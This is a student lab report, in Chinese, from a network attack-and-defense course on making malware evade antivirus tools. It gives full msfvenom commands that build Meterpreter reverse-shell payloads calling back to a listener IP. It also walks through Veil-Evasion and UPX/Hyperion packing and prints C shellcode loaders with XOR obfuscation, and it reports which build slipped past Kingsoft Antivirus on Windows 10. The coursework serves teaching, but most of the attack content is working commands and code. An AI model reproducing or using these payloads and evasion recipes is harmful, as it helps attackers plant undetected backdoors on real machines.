20202413 2021-2022-2 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1 实验要求
- 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
- 通过组合应用各种技术实现恶意代码免杀。如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 问题回答
- 杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
- 基于签名的检测技术
- 免杀是做什么?
对恶意软件做处理使其不被杀毒软件所检测,是一种能使病毒木马避免被杀毒软件查杀的技术。 - 免杀的基本方法有哪些?
- 改变特征码
- 只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式
- 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接
- 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
- 加密通讯数据:如使用reverse-https进行转发
- 操作模式
- 基于内存操作:meterpreter是基于内存操作的操作的
- 减少对系统的修改
- 加入混淆作用的正常功能代码
2.实验过程
2.1 msf编码器
- msfvenom:生成木马程序,并在目标机上执行、在主控机监听
#参数说明
-p, --payload #指定需要使用的payload(攻击载荷)。
-f, --format #指定输出格式
-e, --encoder #指定需要使用的encoder(编码器)
-a, --arch #指定payload的目标架构
--platform #指定payload的目标平台
-b, --bad-chars #设定规避字符集,badchar是payload中需要去除的字符
-i, --iterations #指定payload的编码次数
-x #使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
-o, --out #保存payload
2.1.1 不同编码次数
- 使用x86/shikata_ga_nai作为编码器(x86 的 encoder 里只有它的Rank是excellent),设置不同的编码次数,通过VirusTotal检出率观察免杀效果是否有变化
#无编码
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.3.23 LPORT=2413 -f exe > mwm_0.exe
#编码1次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.3.23 LPORT=2413 -f exe > mwm_1.exe
#编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.3.23 LPORT=2413 -f exe > mwm_10.exe
# 编码50次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 50 -b '\x00' LHOST=192.168.3.23 LPORT=2413 -f exe > mwm_50.exe
- 结论:多次编码能起到些微的免杀效果,但是并不明显,所以不必再纠结编码次数。
- 原因分析:
- shikata_ga_nai总需要将解码部分加入到exe中,杀软只需要盯住该部分即可有效识破伪装
- msfvenom总是以固定的模版来生成exe文件,同时如果使用默认参数或者模版,也会有某些固定特征。杀软只需要用其模版建立特征库即可进行有效识别
2.1.2 不同输出格式
- 选择不同运行方式下的payload,以不同的格式输出,通过VirusTotal检出率观察免杀效果是否有变化
#jar文件
msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.3.23 LPORT=2413 x > mwm.jar
#php文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.3.23 LPORT=2413 x > mwm.php
#python文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.3.23 LPORT=2413 x > mwm.py
#apk文件(不能使用“-b '\x00'”,因为没有指定编码器,使用的话会报错)
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.3.23 LPORT=2413 x > mwm.apk
- 结论:相比于编码次数,不同的payload对免杀的效果更好。单从实验结果来看,python文件的免杀效果相对最好,php文件和apk文件次之,效果最差的是jar文件
2.2 Veil-Evasion
- 工具安装:免杀Payload生成工具Veil的下载与使用。安装流程冗长,可能出现很多未知错误。我的整体安装流程与该博客里面的一致。
- 实在装不上就在kali里面下载docker,在docker里面安装veil。没必要折腾自己。
#使用流程
veil #进入veil工具
use evasion #选择使用evasion模块
use c/meterpreter/rev_tcp.py #选择payload
#也可以先用“list”查看所有可选择的payload,然后直接使用“use+payload序号”来进行选择
set LHOST 192.168.3.23 #设置IP
set LPORT 2413 #设置端口
options #查看配置内容
generate #执行payload
mwm_c #输入生成文件的名称
- 实验过程中,我分别选择了两个payload:c/meterpreter/rev_tcp.py和ruby/meterpreter/rev_tcp.py。这里以第一个payload为例展示生成流程:
c/meterpreter/rev_tcp.py:
ruby/meterpreter/rev_tcp.py:
- 结论:Veil-Evasion的免杀效果与msfvenom相比差别不大,常用的payload免杀效果都不是太理想。而ruby的表现就比较亮眼。
2.3 加壳
2.3.1 压缩壳
- UPX是一款先进的可执行程序文件压缩器,能使压缩过的可执行文件体积缩小50%-70%,有效防止程序被反编译破解。并且压缩过的程序完全没有功能损失,对于支持的大多数格式没有运行时间或内存的不利后果。
apt-get install upx #安装UPX
upx mwm.exe -o mwm_upx.exe #前者为待压缩程序名,后者为压缩后程序名
相比压缩前的53/69,不难发现压缩后确实具有一定的免杀效果。
2.3.2 加密壳
- 我们使用Kali中一个开源的加密器,名为Hyperion,能规避反病毒软件
cp mwm.exe /usr/share/windows-resources/hyperion/ #将待加密程序拷贝到工作目录下
cd /usr/share/windows-resources/hyperion #进入工作目录下
wine hyperion.exe -v mwm.exe mwm_hyp.exe #前者为待加密程序名,后者为加密后程序名
相比加密前的53/69,免杀效果并没有太大的提升。
2.4 C + shellcode编程
- 首先使用msfvenom生成一个shellcode数组,然后使用该数组编写一个c语言程序
#生成Shellcode
msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.3.23 LPORT=2413 -f c
#编写程序
vim mwm.c #进入vim编辑器,没有文件会新建
程序内容如下:
unsigned char buf[] = "生成的shellcode";
int main()
{
int (*func)() = (int(*)())buf;//buf强转成函数型指针
func();
}
#编译器在64位系统上构建32位应用程序
i686-w64-mingw32-g++ mwm.c -o mwm.exe
结论:相较于前面的msfvenom、Veil-Evasion和加壳,C+shellcode编程的免杀效果较为明显。
2.5 通过组合应用各种技术实现恶意代码免杀
2.5.1 C+shellcode编程
- 在msfvenom下,仍然选择windows/meterpreter/reverse_tcp作为payload,但是采取编码器多重编码,先用x86/shikata_ga_nai编码,再用x86/bloxor编码:
#先把处理后的文件输出为raw格式,再将第一步的输出结果作为输入传递给msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.23 LPORT=2413 -b '\x00' -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -i 2 -f c
2.5.2 C+shellcode编程+异或
- 首先将2.5.1中生成的Shellcode进行异或,将异或后的数组作为新的Shellcode
- 编写c语言程序时在main函数中再次进行异或,最后进行编译得到mwm.exe
#mwm.c
unsigned char buf[] = "异或后的shellcode";
int main()
{
int i;
for (i = 0; i < sizeof(buf); i++)
{
buf[i] ^= 0x01;
}
int (*func)() = (int(*)())buf;
func();
}
#yihuo.c,输出异或后的shellcode到文件shellcode.txt
#include<stdio.h>
#include <stdlib.h>
unsigned char buf[] = "异或前的shellcode";
int main()
{
FILE *fptr;
fptr = fopen("shellcode.txt", "w");
int i;
for (i = 0; i < sizeof(buf)-1; i++)
{
buf[i] ^= 0x01;
fprintf(fptr,"\\x%x", buf[i]);
}
if(fptr == NULL)
{
printf("Error!");
exit(1);
}
fclose(fptr);
return 0;
}
#编译器在64位系统上构建32位应用程序
i686-w64-mingw32-g++ mwm.c -o mwm.exe
可见免杀效果比较理想。并且在win10虚拟机中能与金山毒霸共生:
2.5.3 C+shellcode编程+异或+加密壳
- 将2.5.2中生成的mwm.exe做加密壳处理:
cp mwm.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v mwm.exe mwm_hyp.exe
发现经过加密壳处理之后,免杀效果反而大幅下降,在win10虚拟机中被金山毒霸检测了出来。
2.5.4 C+shellcode编程+异或+加密壳+压缩壳
- 将2.5.3中生成的mwm_hyp.exe做压缩壳处理:
upx mwm_hyp.exe -o mwm_hyp_upx.exe
发现再进行压缩壳处理之后免杀效果仍不太理想,在win10虚拟机中被金山毒霸检测了出来。
2.6 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
未能达成实验目标。我安装了金山毒霸和火绒,基于msfvenom和veil尝试了更多的模块,然而一旦生成的的后门程序在win10虚拟机上面与kali回连成功,就一定会被杀软检测出来。C+shellcode编程也不好使,异或了也没用,编码和加壳都不行。火绒甚至给我netcat.exe当成木马程序隔离了。我不知道大家都是怎么做出来的,不知道是我的人品不好还是我的做法有问题。请大佬们教教我吧。
问题3:win10主机上执行C+shellcode编程得到的后门程序时,弹出“由于找不到‘libgcc_s_dw2-1.dll’,无法继续执行代码”
————————————————————————————————————————————————
已达成实验目标,在金山毒霸开启的情况下能实现回连并且不被发现(但是被火绒发现了)。
方法:在Veil-Evasion中选择第13个载荷cs/shellcode_inject/virtual.py。直接输入generate,按照提示进行参数配置。第一步我选择的是2,后面的参数按照默认的来:
在win10虚拟机上运行后门程序,kali上开启监听:
全程金山毒霸未出现弹窗警告。
3.问题及解决方案
-
问题1:加密壳操作时报错“002c:err:winediag:getaddrinfo Failed to resolve your host name IP”
-
问题1解决方案:折腾了好几个小时,从配置环境变量到卸载重装wine(结果把veil也给卸载了)等等都尝试过了,均未能很好的解决问题,中途甚至报了更多其他莫名其妙的错误。最后我无意中进入root模式并执行了实验指令(之前一直在普通用户kali模式下),莫名其妙的成功了。无语了。
-
问题2:安装完veil报错:
-
问题2解决方案:根据错误提示,执行如下命令: /usr/share/veil/config/setup.sh --force --silent,经过漫长的等待之后安装完成,此时问题得到修复。
-
问题3:win10主机上执行C+shellcode编程得到的后门程序时,弹出“由于找不到‘libgcc_s_dw2-1.dll’,无法继续执行代码
-
问题3解决方案:我们的后门程序是在kali上面通过i686-w64-mingw32-g++指令生成的,但运行是在64位的win10主机上,这就导致有一些32位库依赖无法得到满足。解决方案是我们需要在win10上面安装mingw32(注意必须安装32位的,安装64位的仍然没有我们需要的dll文件),也就是Windows下的gcc:
下载路径:mingw-builds-binaries,不建议去官网下载,官网的我还没弄明白怎么配置环境变量。如果github进不去,可进入国内github的镜像站:mingw-builds-binaries
下载完成之后,将解压路径下的bin目录添加进系统环境变量的path下即可,然后打开cmd输入gcc --version验证是否安装成功。部分机器需要重启才生效。参考在Windows中安装MinGW-w64最新版本(目前12.1.0)
4.学习感悟、思考等
通过本次实验,我熟悉了很多种免杀工具的基本使用方式,并选取了多种免杀方式中的一些进行组合,构造自己的恶意代码。用VirusTotal网站进行检测的时候我一直感觉挺玄乎的,并不是相同的免杀操作反复迭代就能取得好的免杀效果。本次实验大部分时间都浪费在安装veil和解决wine的报错上了,以后再见到依赖32位库包的工具我直接头皮发麻。